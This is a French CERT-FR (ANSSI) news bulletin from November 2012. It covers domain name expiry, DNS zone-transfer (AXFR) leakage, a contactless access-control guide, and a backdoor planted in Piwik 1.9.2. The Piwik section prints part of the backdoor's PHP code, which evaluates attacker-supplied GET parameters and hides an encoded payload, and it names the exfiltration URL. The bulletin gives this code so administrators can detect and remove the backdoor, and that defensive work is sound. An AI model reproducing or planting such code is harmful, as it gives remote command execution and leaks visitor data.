Marianne ANSSI

CERT-FR

Centre gouvernemental de veille, d'alerte et de réponse aux attaques informatiques

logo ANSSI
Informations utiles

Que faire en cas d'intrusion ?

Les systèmes obsolètes

Liens utiles

 

L'ANSSI recrute

 

 

Les documents du CERT-FR

Publications récentes

Les alertes en cours

Les bulletins d'actualité

Les notes d'information

Année en cours Archive

 

Les Flux RSS du CERT-FR

Flux RSS complet

RSS

Flux RSS des alertes

RSS

Flux RSS SCADA

RSS

 

CERTA-2012-ACT-048

Imprimer ce document

Version PDF

À propos du CERT-FR

Le CERT-FR

Nous contacter

Contact us ( Drapeau anglais )

A propos du site

Communauté CSIRT

Les CSIRT

Le FIRST

L'EGC

 
Archives du CERT-FR

Année 2017 Archive

Année 2016 Archive

Année 2015 Archive

Année 2014 Archive

Année 2013 Archive

Année 2012 Archive

Année 2011 Archive

Année 2010 Archive

Année 2009 Archive

Année 2008 Archive

Année 2007 Archive

Année 2006 Archive

Année 2005 Archive

Année 2004 Archive

Année 2003 Archive

Année 2002 Archive

Année 2001 Archive

Année 2000 Archive

 

S . G . D . S . N
Agence nationale
de la sécurité des
systèmes d'information

République Française Paris, le 30 novembre 2012
No CERTA-2012-ACT-048

Affaire suivie par :

CERTA

Objet : Bulletin d'actualité CERTA-2012-ACT-048


Conditions d'utilisation de ce document : http://www.certa.ssi.gouv.fr/certa/apropos.html
Dernière version de ce document : http://www.certa.ssi.gouv.fr/site/CERTA-2012-ACT-048

1 Pérennité des noms de domaine

Un nom de domaine est très souvent une vitrine pour une entreprise ou un service. Il sera le plus souvent enregistré pour une durée déterminée (une ou plusieurs années) auprès d'un bureau d'enregistrement. Une fois ce délai expiré, et faute de renouvellement, le bureau d'enregistrement peut libérer ce domaine, et le rendre disponible à l'achat par n'importe quel tiers, au travers de n'importe quel autre bureau d'enregistrement. Un domaine expiré est également souvent désactivé. C'est à dire qu'il ne sera plus possible pour un client de résoudre ce domaine, et il ne pourra plus accéder à aucun service normalement accessible au moyen de ce nom (site Web, courrier électronique, etc.).

Pour éviter que le propriétaire perde son nom de domaine, le bureau d'enregistrement prévient généralement son client quelques semaines avant la date d'expiration. Cette opération est réalisée la plupart du temps par courrier électronique en utilisant les coordonnées du contact administratif, renseignées par le client lors de l'enregistrement.

Plusieurs sociétés se sont d'ailleurs spécialisées dans le rachat automatique de domaines expirés. Les avantages financiers pour ces sociétés peuvent provenir de la revente du domaine aux propriétaires initiaux, ou d'une activité malveillante (récupération de message électronique à destination de ce domaine, phishing, etc.).

Il est donc nécessaire, dès l'enregistrement d'un nom de domaine, de fournir une adresse électronique qui sera toujours valide, et dont le courrier sera régulièrement relevé. Une adresse fonctionnelle a plus de chances d'être conservée dans la durée qu'une adresse nominative. A noter également que chaque bureau est libre de pratiquer sa propre politique, le CERTA recommande donc de vérifier que son prestataire utilise bien une procédure de signalement d'expiration prochaine d'un domaine.

Enfin, les registres principaux de noms de domaine (ICANN, AFNIC, etc.) demandent à ce que les coordonnées des bases Whois soient valides. Il est donc du devoir du dépositaire du domaine de s'assurer que les coordonnées du contact administratif soient maintenues à jour, même si ces coordonnées sont ensuite anonymisées dans la base Whois par le bureau d'enregistrement.

Le CERTA attire l'attention sur la vigilance à accorder à l'expiration d'un enregistrement de nom de domaine, dont la perte pour une entreprise peut avoir de sérieuses conséquences en termes d'images, voire parfois d'impacts financiers majeurs.

Documentation

2 Fuite d'information par AXFR

Lorsque plusieurs serveurs DNS doivent répondre à des requêtes sur la même zone, il faut s'assurer que ceux-ci partagent les mêmes enregistrements DNS pour cette zone. Une manière de propager automatiquement des modifications d'une zone (par exemple, ajouter un sous-domaine) sur un serveur DNS « maître » à plusieurs serveurs DNS « esclaves » est l'utilisation du protocole AXFR.

Un serveur DNS « maître » configuré pour autoriser les requêtes AXFR, donnera l'intégralité de sa configuration à tout client qui en fait la demande, qu'il s'agisse d'un serveur DNS « esclave » légitime, ou d'une tierce personne disposant un simple client DNS. N'importe quel client de la zone peut donc obtenir l'intégralité des adresses IP, sous-domaines, etc. configurés dans cette zone.

Dans certains cas, une zone peut contenir l'adresse IP de tous les postes d'un réseau, par exemple si chacun de ces postes dispose d'un nom d'hôte associé. Un attaquant qui aura obtenu la configuration d'un serveur DNS au moyen d'une requête AXFR disposera alors d'informations sur le plan d'adressage des réseaux (« imprimante.domaine », « stockage.domaine », « poste-secretaire.domaine » etc.) et pourra rapidement cibler des postes ou serveurs clés qu'il souhaite compromettre.

Le CERTA recommande donc aux administrateurs de serveurs DNS, de n'autoriser les requêtes AXFR que depuis des serveurs DNS « esclaves » identifiés.

Documentation

3 Publication par l'ANSSI d'un guide sur la Sécurité des technologies sans-contact pour le contrôle des accès physiques

Face à l'utilisation grandissante des technologies sans contact et à la confirmation de plusieurs failles de sécurité les affectant, l'ANSSI a publié un guide sur la sécurité des technologies sans contact pour le contrôle des accès physiques.

Ces dispositifs doivent être inclus dans le périmètre des systèmes d'information et nécessitent donc le respect de règles élémentaires de sécurisation.

Ce guide a pour objectif de fournir un ensemble de recommandations et de bonnes pratiques nécessaires lors de la mise en oeuvre de tels dispositifs, ou lorsque ils sont déjà en place, pour vérifier leur niveau de sécurité.

Il s'adresse à un large public allant des décideurs en charge du déploiement, jusqu'aux intégrateurs et exploitants.

Le CERTA ne peut qu'inciter ses lecteurs concernés à appliquer les différentes recommandations dispensées par ce document.

Documentation

4 Porte dérobée dans un produit de mesure d'audience

Le site piwik.org a annoncé avoir été victime d'une intrusion le 26 novembre 2012 entre 15:43 et 23:59 (UTC). L'attaquant aurait utilisé une vulnérabilité d'un greffon Wordpress installé sur le serveur hébergeant piwik.org et aurait ajouté un code malveillant dans la version 1.9.2 du produit. D'après une analyse diffusée sur le forum de Piwik, ce code aurait deux fonctionnalités :

  • la première permettrait d'exécuter n'importe quelle commande PHP sur le serveur ayant installé la version compromise de Piwik ;
  • la seconde enverrait à l'attaquant la liste des pages Web visitées sur un serveur compromis. Cette fuite de donnée s'effectuerait par une requête HTTP envoyée vers l'URL prostoivse.com/x.php.

Pour contrôler si un serveur utilisant Piwik est compromis par cette porte dérobée, il suffit de vérifier si le fichier piwik/core/Loader.php contient les lignes suivantes à la fin du fichier :

<?php Error_Reporting(0);       if(isset($_GET['g']) && isset($_GET['s'])) {
preg_replace("/(.+)/e", $_GET['g'], 'dwm');     exit;
}
if (file_exists(dirname(__FILE__)."/lic.log")) exit;
eval(gzuncompress(base64_decode('...

Si la porte dérobée est présente sur un serveur, il est dans un premier temps nécessaire de s'assurer qu'elle n'a pas été utilisée pour prendre le contrôle du serveur. Pour ce faire, il faut vérifier dans les journaux si des commandes PHP ont été envoyées dans le paramètre g d'une URL (par exemple : monserver/url.php?g=print("")). Si tel est le cas, le CERTA recommande de suivre la note d'information CERTA-2002-INF-002-004 : « Les bons réflexes en cas d'intrusion sur un système d'information ».

Si la porte dérobée n'a pas été utilisée, il est recommandé de réinstaller Piwik, en supprimant complètement le répertoire racine nommé piwik, après avoir pris le soin de sauvegarder le fichier de configuration piwik/config/config.ini.php, et de réinstaller le produit à partir de la dernière version disponible sur piwik.org.

Documentation


CERTA
2014-01-17
Premier Ministre / Secrétariat Général de la Défense et de la Sécurité Nationale / Agence nationale de la sécurité des systèmes d'information webmestre Dernière mise à jour : le 2017-03-23